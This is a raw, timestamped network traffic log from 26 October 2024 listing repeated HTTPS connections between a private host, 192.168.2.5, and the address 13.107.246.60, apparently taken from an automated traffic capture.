Oct 26, 2024 13:49:32.814215899 CEST	49930	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.814224005 CEST	443	49930	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.816941977 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.816967010 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.817028999 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.817179918 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.817188025 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.834697008 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.834728956 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.834768057 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.834829092 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.834969997 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.834979057 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.834990978 CEST	49931	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.834995031 CEST	443	49931	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.837322950 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.837337971 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.837512970 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.837697983 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.837706089 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.877454996 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.878467083 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.878504038 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.878916979 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.878926992 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.894293070 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.894747972 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.894758940 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:32.895343065 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:32.895347118 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.008377075 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.008539915 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.008584023 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.008637905 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.008691072 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.008708954 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.008721113 CEST	49932	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.008725882 CEST	443	49932	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.011735916 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.011776924 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.011989117 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.012190104 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.012202978 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.027513981 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.027587891 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.027802944 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.027873039 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.027890921 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.027905941 CEST	49933	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.027913094 CEST	443	49933	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.031061888 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.031100988 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.031212091 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.031538010 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.031549931 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.303764105 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.304357052 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.304383993 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.304851055 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.304856062 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.437319994 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.437494040 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.437563896 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.437786102 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.437834978 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.437865973 CEST	49934	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.437882900 CEST	443	49934	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.440929890 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.440972090 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.441046000 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.441265106 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.441277981 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.542937994 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.543550968 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.543570995 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.543998957 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.544004917 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.567658901 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.568463087 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.568486929 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.569065094 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.569071054 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.672230005 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.672302008 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.672363997 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.672605991 CEST	49935	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.672617912 CEST	443	49935	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.675714016 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.675733089 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.675803900 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.676001072 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.676012039 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.697992086 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.698054075 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.698174000 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.698391914 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.698391914 CEST	49936	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.698426008 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.698451996 CEST	443	49936	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.701304913 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.701347113 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.701528072 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.701654911 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.701666117 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.743921041 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.744501114 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.744539976 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.744955063 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.744966984 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.790798903 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.791364908 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.791400909 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.791879892 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.791888952 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.875808954 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.875871897 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.875929117 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.876225948 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.876259089 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.876279116 CEST	49937	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.876287937 CEST	443	49937	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.879143000 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.879178047 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.879336119 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.879519939 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.879529953 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.927128077 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.927409887 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.927474022 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.927525043 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.927539110 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.927551985 CEST	49938	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.927556992 CEST	443	49938	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.930500031 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.930537939 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:33.930608034 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.930802107 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:33.930811882 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.172350883 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.172882080 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.172916889 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.173347950 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.173356056 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.301938057 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.302016020 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.302074909 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.302335024 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.302360058 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.302373886 CEST	49939	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.302381039 CEST	443	49939	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.305455923 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.305510044 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.305579901 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.305758953 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.305769920 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.425026894 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.430469990 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.430495024 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.434339046 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.434344053 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.435098886 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.436706066 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.436769009 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.437537909 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.437560081 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.563960075 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.564029932 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.564152002 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.564661026 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.564677000 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.564697027 CEST	49940	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.564702988 CEST	443	49940	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.566760063 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.566791058 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.566833973 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.566862106 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.566890001 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.567812920 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.567836046 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.567847967 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.567853928 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.575417995 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.575470924 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.575669050 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.575762033 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.575802088 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.575870037 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.576189041 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.576200008 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.576533079 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.576545000 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.605863094 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.606776953 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.606798887 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.607831955 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.607841969 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.672739029 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.674388885 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.674423933 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.675724030 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.675739050 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.736309052 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.736368895 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.736442089 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.737040997 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.737057924 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.737070084 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.737076044 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.743251085 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.743289948 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.743489981 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.743959904 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.743972063 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.804258108 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.804339886 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.805387020 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.807534933 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.807569027 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.807591915 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.807606936 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.815627098 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.815675020 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:34.815752029 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.818872929 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:34.818892956 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.050501108 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.051160097 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.051184893 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.051904917 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.051909924 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.181431055 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.181504965 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.181567907 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.181829929 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.181848049 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.181863070 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.181869030 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.186208010 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.186254025 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.186471939 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.186728001 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.186741114 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.310503960 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.322797060 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.322818995 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.330315113 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.330323935 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.455811024 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.455867052 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.455951929 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.456017017 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.456072092 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.456165075 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.456507921 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.456542969 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.456573009 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.456588030 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.460859060 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.460886955 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.460973978 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.461380959 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.461395979 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.494740009 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.495340109 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.495353937 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.495836973 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.495843887 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.580698013 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.581310987 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.581350088 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.581773996 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.581780910 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.627266884 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.627362967 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.627470970 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.627542973 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.627542973 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.627659082 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.627659082 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.627679110 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.627688885 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.630610943 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.630649090 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.630736113 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.630944014 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.630960941 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.688571930 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.689142942 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.689153910 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.689683914 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.689688921 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.715012074 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.715158939 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.715329885 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.715367079 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.715384960 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.715395927 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.715400934 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.718034029 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.718151093 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.718252897 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.718426943 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.718492985 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.819441080 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.819514036 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.819617033 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.819674969 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.819674969 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.820151091 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.820163965 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.823122978 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.823235035 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.823349953 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.823487043 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.823529005 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.941026926 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.941668987 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.941689968 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:35.942487001 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:35.942493916 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.075637102 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.075664997 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.075712919 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.075742006 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.075777054 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.076487064 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.076487064 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.076514959 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.076529026 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.083247900 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.083369970 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.083662033 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.084229946 CEST	49954	443	192.168.2.5	13.107.246.60
